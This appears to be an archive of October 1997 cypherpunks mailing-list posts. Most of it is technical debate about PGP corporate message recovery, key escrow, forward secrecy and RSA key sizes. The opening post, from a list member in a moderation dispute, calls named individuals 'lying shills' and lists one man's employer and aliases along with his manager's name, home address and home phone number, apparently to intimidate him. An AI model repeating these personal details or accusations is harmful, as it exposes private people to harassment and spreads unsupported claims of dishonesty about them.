>I'm fairly sure I didn't see the C2 legal letter you posted yesterday
>before.

I'm sorry to have to return to this topic that's been beaten to death and
causes me intense nausea. I figured I'll comment on two more attempts to
revise history by lying C2Net shills from Hewlett Packard and Oracle.

Please recall that C2Net created 3 lists on toad.com:
 unedited
 flames
 C2Net-approved

At one point, all my submissions to cypherpunks appeared on "unedited" and
then on "flames" with about a 3-second delay, indicating a 'bot at work. The
'bot was scrubbed when C2net decided that my writings were not suitable for
auto- forwarding to the "flames" list either. For about a week, numerous
articles by myself, Tim May, et al appeared on "unedited" but not on "flames".

Howver toward the end of the "moderation experiment" apparently a 'bot on
toad.com was filtering my submissions from the 'unedited' list as well. My Jan
30th announcement that C2Net filtered out of the flames list _did show up on
the unedited list. However my following articles, like the one quoting C2Net's
threatening lawyer letter (which I cc'd to numerous people, including JYA,
who, not surprisingly, declined to put it on his archive) did _not appear on
the "unedited" list. Nevertheless at least one lying C2Net shill from Hewlett
Packard claims that my articles appearing on the unedited list on January 30th
prove that I wasn't being filtered from "unedited" one week later.

Another lying C2net shill, Jason E. Durbin, a technical writer for Oracle,
just wrote in news.admin.net-abuse.policy:

}For those unfamiliar with the tactics Vulis uses when attempting to
}destroy moderated fora, take a look at the current, ongoing thread
}called "Stronghold" (and other variations on same) on the Cypherpunks
}mailing list archived at:
}
}http://infinity.nus.sg/cypherpunks/current/date.html#start
}
}It summarizes (including Vulis' take on the situation) Vulis' attack
}on the mailing list itself via a feigned attack on the Stronghold
}security server.
}
}In summary, make such an annoyance of yourself by whatever means
}necessary (posting binaries, running an insultbot, making false
}accusations, etc.) to get yourself threatened with banishment, then
}rally the free speech advocates by painting yourself as the innocent
}harmed party even though no banishment occurred.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
}
}Interesting insights into how Vulis attempts to manipulate his victims
}into damning themselves while making him look like a victim.
}Interesting reading.

"No banishment occured" - more bizarre lies from C2Net and their supporters.

Oh, and I don't recall sending binaries to this list either.

This reminds me of the claim by Rich Graves, another C2Net/Cygnus shill, that
I'm sending "hundreds" of articles a day to this mailing list.

You may recall that the same C2net/Oracle shill Jason Durbin has been
following up on my Usenet articles in sci.crypt, comp.unix.questions, etc
with lies and libel: claiming, e.g., that I "lie about my credentials",
that I don't even have a master's degree, etc. Is C2Net paying Jason Durbin
to badmouth my academic credentials?

>From Jason Durbin's Net.Scum page:

Jason E. Durbin, jdurbin@nl.oracle.com, jed@poisson.com,
slothrop@poisson.com, jed@best.com, jed@netcom.com.

Jason claims to work for Poisson Corporation, 8 Avocet Drive, #211, Redwood
Shores, CA 94065, tel +1 415 637 0435, JD503.

In real life, Jason is a lowly technical writer for Oracle Corporation, 500
Oracle Parkway, Redwood City, CA 94065, tel: +1 800 345 3267, +1 415 506 7000,
(+1 605 506 7000), fax: +1 415 506 7200.

Jason's manager in the technical writing department is:
Sanford Dreskin
Mail Stop:  MS-40P12
Office tel: +1 415 506 2181
Office fax: +1 415 506 7228
Home tel: +1 510 376 9526
Home addr: 859 Augusta Drive, Moraga, CA 94556-1051

In what ways are Durbin and the Hewlett-Packard liar affiliated with C2Net?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 13 Oct 1997 03:36:55 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <zvpOUfGGvJ8pMESXjUrrmw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



http://www.telcomtraining.com/downloads/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 13 Oct 1997 01:19:53 +0800
To: cypherpunks@Algebra.COM
Subject: D-H Forward Secrecy for E-Mail?
In-Reply-To: <199710120948.KAA00212@server.test.net>
Message-ID: <v03102801b066b3b308e0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:48 AM -0700 10/12/97, Adam Back wrote:

>Once you acknowledge that it is more secure to have short lived
>communication keys (which in my view it very clearly is), it should be
...


Just what are some of the issues with us getting D-H-type perfect forward
secrecy with something like e-mail? I assume this must be possible, of
course, as D-H is used in just these ways. (The Comsec 3DES phone I have
does this, of course.) (To repeat what has already been said, forward
secrecy means some of the important keys are not kept or stored, and so a
subpoena at some future time to produce the keys used in a communication is
pointless. Cf. Schneier for more.)

First and foremost as a requirement would be the need for a back-and-forth
communication, in a real-time or nearly real-time mode. This rules out
conventional e-mail with its long a variable latencies for delivery. (Not
to mention diverse clients and their inability to respond automatically!)

But IRC, chat rooms, Internet telephony, etc., are all common. With
latencies of ~seconds, or even less.

I picture conventional e-mail being replaced, for this application, with
this kind of system. Maybe D-H forward secrecy systems already exist....

Forward secrecy might be arrangable even with long-latency links...it seems
to me. (Through a series of links, compute and store the D-H parameters,
then use them with conventional e-mail for the "payload" message?)

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 12 Oct 1997 17:57:53 +0800
To: ietf-open-pgp@imc.org
Subject: negative security aspects of GAK compliance
Message-ID: <199710120948.KAA00212@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I think there is a clear technical security case against the GAK
compliant packet, which I would like to see comments on from people
who think the political GAK compliant argument is not significant.

This ties in with using separate storage and communications keys, and
with the better security practice of having shorter lived
communications keys to provide forward secrecy from the point of
issuing new communication keys (could be once per month, once per
week, or once per message).

Once you acknowledge that it is more secure to have short lived
communication keys (which in my view it very clearly is), it should be
clear that by putting a GAK compliancy packet feature, or other second
recipient you are weakening the security because that is another door
into a message which you are trying to make forward secret -- you are
trying to ensure that after the fact, no-one, not even the recipient
can decrypt the old traffic.  (This is a very good way of ensuring
that third parties, like industrial espionage spies, people using
black mail or the Feds using rubber hoses, or supeonas or other legal
or extra legal forms of coercion, can't obtain from you keys to
decrypt it either, so they don't get plain text).  

The fact that the extra door into the message is outside the
recipients control means that his own security could be compromised by
sloppy practice on the part of that key holder.


This argues that if people are to insist on using the enforced second
recipient model for corporate snooping at all, they should for
security reasons be at least using short lived communications keys for
the GAK compliancy packet also.

Or, as I would argue, most secure of all is not using GAK compliancy
packets at all, but rather to use escrowed storage keys to retain
access to mail archives.  This is more secure because you don't keep
second doors into what should be a communication encrypted with as few
as possible (namely: one) transient communications key, with security
policy control being in the hands of the person who owns the key (the
recipient).

As I have pointed corporate access to stored email can be acheived
with similar amounts of snooping enforceability by having the PGP5.5
mail client store to an escrowed communications key after decryption,
or even to re-encrypt after decryption to a long term storage company
archive access bot within the LAN (with such encrypted messages
themselves being wrapped in an extra comms encryption envelope using
short term communications key if you like).


I would be interested to see anyone refute this security argument from
a security point of view.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 12 Oct 1997 19:07:12 +0800
To: trei@relay-1.ziplink.net
Subject: Re: CMR paves the road to GAK, and provides no corporate security.
In-Reply-To: <3.0.1.32.19971012005421.007ab570@pop3.ziplink.net>
Message-ID: <199710121053.LAA01120@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[Padgett, you're Cc'd because I'm quoting something you once claimed
on Perry's list, I think]

I agree with basically every word Peter Trei wrote.  It's not often
you agree with a long post like that 100%, but I could not fault a
single point.

Contrast that to PGP's Jon Callas's recent posts where I found myself
disagreeing with a large proportion of both technical and political
points.

Just a couple of nit-picky comments on various things, and some
re-iteration of the technical arguments against GAK compliancy (to
supplement Peter's good political arguments):

> >* Clipper was a 64-bit key. CMR symmetric keys are full-strength keys (128
> >bits or more), backed with a full-strength public key.
> 
> A word of advice: don't try to discuss Clipper in this forum without checking
> your facts. Clipper used an 80 bit key.

Clipper was definately advertised as a 80bit key, I agree.

But I did once see someone else claim that it was a 64 bit key, and
this was by Padgett Peterson, who is usually pretty good with facts,
though perhaps his claim was speculation in this case.  (I've added
him to the Cc).

His reasoning was that the 16 bit checksum (which Matt Blaze
demonstrated could be brute forced thereby trashing the GAK
enforcement) would come out of the 80bit key size, thereby meaning
that it was only an effective 64 bit key.  I suppose this claim if it
is correct would be similar to DES keys being 64 bit, but 8bits being
parity (checksum again), and therefor being only 56 bit effective.
The DES case would set a precedent for NSA design involvement using
larger "keys" than effective keys.  If this is true, the clipper /
skipjack system was even more flawed than we believed, as not only was
it possible to brute force the checksum, but the key space could have
been brute forced also, possibly without knowing the algorithm either,
just by buying lots of clipper chips (though I think this would
require knowledge of the checksum algorithm).  But clearly the NSA
could have brute forced the traffic in addition to having back doors.

Of course, I think it likely that the key was actually a 96 bit key
with an effictive key size of 80bits after the 16 bit checksum.

Regardless, if Padgett's speculation is correct, I suspect this is not
what Jon was thinking.

> > * With Clipper, there was a central repository of all the keys. With CMR,
> > there is not. I discussed that in detail in my message, "Why Corporate
> > Message Recovery isn't Key Escrow."
> 
> Once again, you haven't checked the record. Clipper keys were to be split, 
> with different halves going to different government agencies. There were
> fairly elaborate plans to prevent posession of only one half giving an
> attacker an advantage. Thus there were *two* repositories, not one. 
> (From the point of view of the paranoid, this was not much of a
> comfort - both repositories belonged to the same entity.)

I must defend Jon a little bit here in that it was fairly widely
agreed that the wording in some of the Clipper documents (perhaps
FOIAed, perhaps released normally, don't know) that the NSA would have
an extra access for "national security" (there's that magic root
password to the constitution again).  The presumtion a lot of people
held was that the NSA would have a second unified copy of the split
databasee to enable this national security access.  I'm not sure of
course that this is actually ever explicitly admitted anywhere, and it
could be that they would just have direct access to both split
databases, but I wouldn't really have thought this was the likely; I
suspect the NSA would've wanted access without others even with in
special wire-tapping courts knowing their tapping activities.

Whether or not this is what Jon was referring to I don't know.


I agree with the negative political aspects Peter expressed of PGP's
"GAK compliancy" (as I like to call it) in PGP's pgp5.5 & SMTP policy
enforcer.

I also think there is a purely technical security case to be made
against this architecture which I have tried to lay out clearly in my
post titled:

	Subject: negative security aspects of GAK compliancy

Peter made some security points about this also.  I think we should be
able to win the argument about GAK compliancy purely on technical
reasons.

The only vaguely logical objection I've seen to arguing against GAK
compliancy on political grounds was Hal Finney's assertion that
OpenPGP should move towards more generalised forms of key assertions
in the form of PolicyMaker-like key assertions (Matt Blaze has a paper
and system called PolicyMaker).

However PolicyMaker I suspect will be a long time coming, and may not
be supported by all vendors due to complexity, and in addition even
with PolicyMaker, the same political and security arguments against
actual use of PGP Inc's GAK compliancy field (or PolicyMaker
assertions to the same effect) still forcefully apply.  And there are
still in particular security and political arguments against
implementing corporate access to mail archives, or corporate
sent/received mail snooping by using the SMTP GAK compliancy policy
enforcer.

Lastly I would comment that it is sad that we on cypherpunks are
having to expend so much energy trying to persuade PGP Inc with it's
supposed pro-privacy stance, and supposedly pro-privacy employees,
that they should be working against GAK, and even to get them to
acknowledge that what they are doing is pro-GAK, and big brotherish is
an uphill struggle.

PGP Inc with their poor PR management, and hugely insensitive pro-GAK
moves mean that PGP Inc is pissing away Phil Zimmermann's good
reputation at a huge rate of knots.

Wake up PGP.  Look what you are becoming.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 12 Oct 1997 21:08:55 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: negative security aspects of GAK compliance
In-Reply-To: <199710120948.KAA00212@server.test.net>
Message-ID: <199710121103.MAA01338@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Adam Back <aba@dcs.ex.ac.uk> wrote:
> As I have pointed corporate access to stored email can be acheived
> with similar amounts of snooping enforceability by having the PGP5.5
> mail client store to an escrowed communications key after decryption,
                                   ^^^^^^^^^^^^^^

Typo: that should be "storage key".

> I would be interested to see anyone refute this security argument from
> a security point of view.

And I am very interested to hear arguments against the logic of that
message.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 13 Oct 1997 00:57:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Toad Moderation Experiment
Message-ID: <199710121711.MAA29535@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

You folks have been pretty board the last couple of days, must not be much
happening on the crypto or civil-liberties front.....;(


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 12 Oct 1997 21:10:34 +0800
To: randerso@ece.eng.wayne.edu
Subject: Re: the case for separate comms keys
In-Reply-To: <3.0.2.32.19971012063205.006e7b34@ece.eng.wayne.edu>
Message-ID: <199710121258.NAA01459@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Anderson <randerso@ece.eng.wayne.edu> writes:
> At 11:31 PM 10/11/97 +0100, Adam Back wrote:
> 
> >to exchange mail with anyone without using GAK.  Sure you have a
> >"choice", you can send email to people that will bounce 100% of the
> >time, whoever you send to due to lack of GAK compliance field.
> >(Except for perhaps a few die hard cypherpunks).
> 
> My reading of Jon's post was that the SMTP policy enforcer only worked for 
> outgoing messages.  Perhaps that's wrong, but that needs to be double-
> checked.  See below as well...

I'm fairly sure this is not the case.  The reason I think that this is
not the case is because Jon described two flags which go in the GAK
compliancy sub-packet:

Flag1:  this flag is an advisory note to the person who obtains a
	public key which has the GAK compliancy self signature
	sub-packet; it tells the person about to use the key that the
	company the person who owns this public key works for would
	like it if you would "please" encrypt to the contained
	corporate snoopware master key.

Flag2:	this flag is the same as the flag1 above plus it is a big
	brotherish/little brotherish warning that if you _don't_
	encrypt to the GAK compliancy key also, that the recipient
	will not receive the message.

I understood the reason that the recipient will not receive the
message when you don't honour keys with flag2 to be that the SMTP
policy enforcer would either bounce the message, or eat it, or send it
to the company snoopware czar to who can take due note in his employee
dossier collection that this employee is receiving email from
suspicious cypherpunk persons who don't believe in snoopware.

The above functionality is the reason I'm arguing that PGP's method of
implementing corporate snoopware is GAK compliant: clearly the whole
system is ready tailored for GAK.  The only thing left to do is plug
in the governemnts key in the GAK compliancy field, and for the
government to mandate that companies, and deputised ISPs use the
software and the GAK master key.

If/when this GAK compliancy gets used as the architecture for real
live mandatory GAK, the SMTP policy enforcer may be set up to narc out
the suspicious person who doesn't believe in GAK to the Feds/NSA, and
they will then come and lock you up if they can trace your SMTP From
field to you.

This will make a mockery out remailers, because the remailer chain
will also be forced to have the GAK master key in it as enforced by
deputised ISPs running PGP's SMTP policy enforcers with GAK keys
installed as the GAK master key. 

> >> It's not even needed if you don't have that key on your ring.  (From
> >> what Jon said)
> >
> >I'm not sure what you mean here.
> 
> The snooping key.  If it doesn't exist on *my* keyring.  (Say I have your 
> key, but not the key designate as your snooping key...)  [BTW: Forgive the 
> English, I'm tired and speaking in choppy sentences]

Oh, I see what you mean.  The reason I didn't understand is that this
is not how I thought it works.  I think the key is provided right
there in the GAK compliancy field in an inseparable way.  (I could be
wrong on this, but this is the way I read Jon's message).

Even if have misunderstood the way that this key is bundled, it
doesn't really alter the fact that by "choosing" not to encrypt to
messages with the flag2 flag you will know that this is a waste of
time, because your message will not get past the SMTP policy enforcer.
So purposely stripping the key from your key ring, or separating the
key pair when someone sends you them together would just be another
way of exercising the choice PGP is claiming you have in "choosing" to
have your message bounced back at you.  A fairly meaningless "choice".

I would be interested to have this point about the way GAK compliancy
key is bound/bundled with the GAK compliancy sub-packet clarified by a
PGPer, or someone with more understanding of the draft docs, if this
much information is available yet.

> If I have your key, but not the other key that I'm also supposed to
> encrypt to, PGP (whichever versions, I'm not entirely sure how the
> feature set breaks down, but I believe this applies to all versions
> of 5.x) will not even mention that there was another key it would've
> have offered to encrypt to.

I don't think this is so because that would invalidate the semantics
of the flag1 and flag2 flags, which are what instructs PGP to warn you
of this requirement for this key.  The flag is an attribute of the key
itself, though I do suppose you might be able to strip off the
attribute in much the same way as you can remove signatures from keys
with pgp -krs.

> >Using separate storage keys allows you to:
> >
> >- escrow storage keys within your company without including GAKware
> >  compliancy
> >
> >- discard communications keys often (by giving them short life-spans)
> >  which greatly enhances your security
> 
> Greatly complicating the "web of trust" method, but..  

I don't think it complicates web of trust.  The only certification you
need of communications keys is for you to sign them with your
signature key.  Your signature key semantics, and the web of trust is
unchanged.

> You can only chain signatures so far before you run into problems,
> and getting people to continuosly recertify could be a major pain,

It will be automatic .. you won't notice because all the OpenPGP
compliant application which supports this proposed (strongly
encouraged MAY, please!) feature will do when it creates a new
communications key is to sign the communications key with your
signature key.  It won't involve third parties re-issuing
certificates.

It is the same way that certification and WoT interacts with
potentially shorter life-span dual use encryption keys at the moment.
The WoT certificates go on your longer life signature key, and it is
you who signs your encryption key.  Same argument, though now applied
to encryption keys marked as "communications only".

> >There might be some security advantages to using
> >symmetric keys even.  (Public key sizes are a faster sliding and more
> >uncertain target than symmetric key sizes.
> 
> Well, at least with RSA keys, I believe the memory requirements to
> handle current factoring algorithms are quite untenable for 2048 bit
> keys.  I think 768 is out of the range of current systems.

512 bit I think is reckoned to be feasible for an academic crack of
similar scale to the recent RSA challenge DES break.  The memory for
the final matrix crunching phase might be the only arguable point.

However, this doesn't really give me 20 years worth of assurance
because, well Rivest and friends encrypted the message "squeamish
ossifrage" back in 1977 or thereabouts, firm in the belief that it
would not be broken for 1000s of years.  Factoring advances have meant
that that ~380 bit keys (squeamish ossifrage was RSA129 digits
decimal) is now relatively easy.  Paul Leyland and friends broke a 384
bit blacknet key as a private attack without massive internet
collaboration.

I'm not sure anyones promising, or has any mathematical proof that new
factoring algorithms won't provide similar factoring speedups.  How
many years are 1024 bit RSA keys good for?  All you can use as
estimators is the current factoring algorithms.  I'm not sure how
certain these estimates are for long term purposes.

In contrast if there is nothin wrong with 3DES nor IDEA, the key space
protects you, modulo Moore's law which is easier to predict.  (Also
modulo quantum computing break-throughs, in both cases, erk!)

> I think this came up on the RC5 (Bovine) mailing list, and the
> figures for the required server was something absolutely ridiculous.
> To distribute the job using the more efficient algorithm required
> machines with 128 meg of ram, but the slower one was a bit more
> doable.

Yes.  But memory on workstations is increasing in leaps and bounds.
It is very common now for personal PCs and even laptops to have 32Meg.
A few years ago we were living below the 640k barrier.  Leave it a few
years, and people will have the required memory levels.  A few more
years on from that people will be grizzling about living below the 4Gb
barrier (restriction from using 32 bit addresses).

Anyway, one of the factoring gurus may come up with another novel
implementation or algorithm tweak to tune down memory requirements.
Or a newly discovered faster factoring alorgithm may have huge memory
advantages over current alogirthms.

> In short, I don't think 2048 RSA keys are reasonable target in the
> forseeable future.  [Remember, Moore's law is only applicable for
> another 12 years or so.  Then quantum mechanics starts to be a
> serious problems, and electrons start switching channels in the
> chips.]

The future is uncertain.  But it is marginally less uncertain for
well tried and tested symmetric keys ciphers.

> But this is a bit of a wandering topic now.  Let me continue...
> 
> >You can sign and encrypt with symmetric keys also. "pgp -cs."  Quite a
> >useful combination.
> 
> Hmm.. I must've missed that.  

Don't think it says it anywhere, but you can combine flags in lots of
logical ways which aren't documented as such, and most of which work
as you might reasonaly extrapoloate them to.  There are single letter
flags for most letters of the alphabet, the full number of
combinations must be quite large.  Quite a few of them mean
*something*.  Some of them are even phonetically pleasing: -feast etc :-)

> Well, I wasn't really encrypting anything I really cared about.  It
> was backups of autoexec.bats and config.syss, I just wanted another
> copy that I *knew* when it was made, it wouldn't get overwritten,
> and it wouldn't get modified without me knowing.  And I needed
> something to use PGP for, so...

Signature only might've been enough for backups of stuff in plaintext
on the disk like autoexecs.

> In all honesty, the public key baggage is 512 bytes ( I think,
> possibly bits.  I've forgotten now ) Quite insignificant if you're
> dealing with CAD drawings.  

Sure.  But you were also talking about autoexecs and other small files
where it could get significant.  The significant lose howver is the
performance -- say you recursively encrypt all the files in a
directory, each to 2 or 3 multiple crypto recipients.  It'll crawl.

> >It's probably simpler to just escrow storage keys.  That is just give
> >management a copy to put in the fire proof safe.  Or secret split or
> >whatever.
> 
> I was actually thinking something along the lines of creating a file
> - encrypting it to your whole workgroup, and leaving it on a server.
> Now you have the advantage of not having any security problems even
> if the server is compromised [without workstation compromise, of
> course], and all the important people can access it.  Of course, the
> last person to modify it resigns it, and it gets dropped into your
> RCS system.

I see.  Sounds reasonable.  You should be able to achieve that with
the current dual use PGP keys, or with the new "storage only" keys via
crypto recipients.

If your document is on the Internet, on the web perhaps, you'd need to
be aware of the reduced security in using long term storage keys as
opposed to short term communications keys, but other than that I can't
see a problem.

The point is that where you have a directional communication, you
should treat those keys as sensitive.  Where it is not a directional
communication, you can't, so you lose that extra security; for
applications where this is acceptable, I wouldn't argue for
restricting your ability to do it.

> you get the added advantage of being able to rotate your keys here
> as well, so even if one key is compromised, and the server is
> compromised, you don't lose the whole system.  Identical argument as
> for communications keys.

I think I understand what you're saying for shared storage keys.  But
I don't think it's an identical argument at all for communications
keys.

If you define communications keys as short lived highly sensitive
keys, as perhaps in SSL, or SSH (both of which use some forms of
forward secrecy), you can't retain the ability to recover the message
after the fact for security reasons.

However I posit that people don't really want access to the plaintext
stored inside encrypted communications for their own purposes for the
simple reason that they don't have a sendmail log including all the
message bodies.

Together with the security advantages of not being able to decrypt
communications traffic yourself after the fact, this argues that
people who do want full email archives for company legal or snooping
purposes, or just folder for their own use (I know I keep lots of
email in folders) can either store in the clear, or store encrypted
with a storage key, or store with an escrowed storage key, or store
encrypted to multiple storage keys as crypto-recipients as you
suggest.

> >There is one (quite practical) reason, however, to use symmetric
> >storage keys.  Speed.  If you're encrypting lots of files (perhaps
> >using an encrypted parition driver such as Peter Gutmann's SFS), you
> >won't have time to encrypt to public keys, never mind multiple public
> >keys.
> 
> That's a different problem.  For that you're [in this ultra-theoretical 
> world] 

I don't think it's that theoretical.  Don't PGP have such an encrypted
disk driver for the MAC?  I think this is the way forward for simpler
storage encryption: encrypt the lot.  Saves arguments about forgetting
to encrypt stuff, or forgetting you did decrypt and leaving plaintext
copies around in /tmp or whever as well.

> probably going to want something along the lines of this: Symmetric
> encryption for speed on the partition, and that key stored with
> several recipients in the same place as the Secure Partition Driver
> (SPD).

Your suggestion is one reasonable way of acheiving this.  You can also
acheive the same flexibility with an extra indirection with symmetric
storage keys (optionally held in escrow).  In fact I think this is
what later versions of Peter Gutmann's SFS do.  The reason he uses for
this is that it allows you to change your passphrase without
re-encrypting the whole disk, because the _actual_ disk encryption key
is encrypted itself with the hash of your passphrase, rather than
using the hash of the passphrase directly as the key.

> (This falls in the, "If you're going to build a system, make sure
> you think of everythign you want and make sure it fits in the
> framework somewhere" method)

Well I agree, I think it's reasonable for us to consider the major
uses, plaintext recovery demands, and security aspects of the
different types of uses for keys: transient communication keys,
storage keys, and signature keys.

> >If the company keeps it's employee's storage keys in escrow, the fact
> >that you're using a symmetric key works fine.
> 
> I'm not sure you need to escrow anything, as long as there is a way
> to share things among certain groups of people.  Jon's ideas of
> non-hierarchical recovery systems seem a lot more secure anyway,
> especially with the rest of this thread.

It doesn't really matter one way or the other.  You can build
non-hierarchical recovery systems with either method.  (You can escrow
storage keys in your department, just as easily as add second crypto
recipient within your department.  I think the security is basically
the same for escrow or multiple recipient when we're talking about
storage.

The same security equivalence argument applies if you accept the
premise that you need access to transient communications.  I don't
accept this premise.  This premise is a fallacy promulgated by the
likes of Freeh.  If you don't escrow communications keys at all you
gain extra security for the same reason that it is less secure
actually to escrow storage keys, or use multiple recipient as another
way to achieve storage key escrow than to not use storage key escrow.
However with storage you live with this because a) data availibility
is important, and b) the risk isn't as great with storage because your
attacker has to breach physical security to obtain the data from your
disks and tapes.

> Oh - for the situation with Andy Grove (Intel CEO) describe earlier on this 
> thread - let me give this suggestion:
> 
> 	AG's key w/extra encryptions to CFO (or Pres. of Board, or
> someone else with significant influence and a close working
> relationship.  Backup for problems with intransit e-mail.)
> 
> 	Similar setups for everyone else in the company.  Probably the
> top-level executives all have AG as the backup.  This elminates
> snooping entirely in the company, on the top level execs.  This
> partially hierarchical method wouldn't be horrible, and limits
> snooping to the level above you, or to peers, depending on setup.

The suggestions about snooping heirarchy -- who can read who's mail
within the company -- are independent of which architecture you choose
to use to allow access to the mail (escrow storage keys or use
multiple crypto recipient for storage keys).  (This can all be
enforced with similar levels of resistance to bypass by building the
archive and snooping features into the mail client to do this after
decryption).

Where you start to get argument from me is when you start unduly
exposing what should be transient communications keys to construct
this corporate snooping pecking order.

> >I'm sure I've given these reasons earlier in the thread, but I'll
> >summarise them again:
> 
> Yeah, you covered them fairly well, and cleared up the issues where
> I honestly thought it was a fear-mongering problem.  I still don't
> completely agree with you, but we've clarified the problem areas.
> Thanks.

That's what it's all about -- meaningful discourse so that we can
collectively improve each others understanding of the problems at
hand, pointing out flaws in each others arguments until we reach
agreement, eliminating misunderstanding.  With that a clarified
picture of the security issues and best architecture, we can then go
on to design suitable security protocols which best reflect this.

> (Too many wars get *way* too religous on the net.  Let's try and
> avoid that here, ok?)

Hey, as long as we steer clear of PGP arguments about mandatory GAK
compliancy, this is all friendly discourse :-) 

On religious arguments: I must admit to strong negative feelings about
PGP Inc or the OpenPGP standard using weaker security methods to
enable GAK compliancy.  My reason for expressing these opinions is the
hope that we can talk PGP out of this big brotherish SMTP policy
enforcer, and associated GAK compliant fields, and to give my input to
try to steer the OpenPGP process away from incorporating said GAK
compliancy field into the standard.

Also as I hope I have explained relatively clearly in my other post
titled:

	Subject: negative security aspects of GAK compliance

that GAK compliancy is independently from political arguments a
security design flaw.  And so I think that we should be able to reject
it on technical grounds alone as a design with weaker security.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 13 Oct 1997 02:09:06 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Re: [NTSEC] NT 5 questions (fwd)
Message-ID: <Pine.SUN.3.96.971012140727.6520D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain





=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Sun, 12 Oct 1997 16:44:38 -0000
From: Peter Fey <fey@nue.et-inf.uni-siegen.de>
To: ntsecurity@iss.net
Subject: Re: [NTSEC] NT 5 questions

Hi Matt,

first - the last 2-3 days I've been 'BEHIND' the list - had to read some 200
mails to get by.  ;-)()
So maybe someone else did anser just your first question.

> One of the addition to NT is disk encryption w/escrow.  Is this the
> Kerberos aspect of it?

Right, one of the new features of NT 5 is the EFS (Encryption File System)
including a feature called data-recovery.

The EFS is an additional layer above good-old NTFS to allow users to encrypt
single files, directories and whats below or whole drives. One reason
Microsoft added EFS was to nihilate tools like NTFSDOS --- reading an
NTFS-volume just by booting it on a DOS-disk in the NTbox. Another is
protection of -lost- notebooks and the like ...

As the whitepaper on the M$ site shows, the made up a pretty easy to handle
and ?? pretty secure ?? to deal with system. Using asymmetric cryptography -
i.e. private and public keys - they are up2date in technology and supporting
weak and strong encryption 40/56 bit DES they confirm with the US export
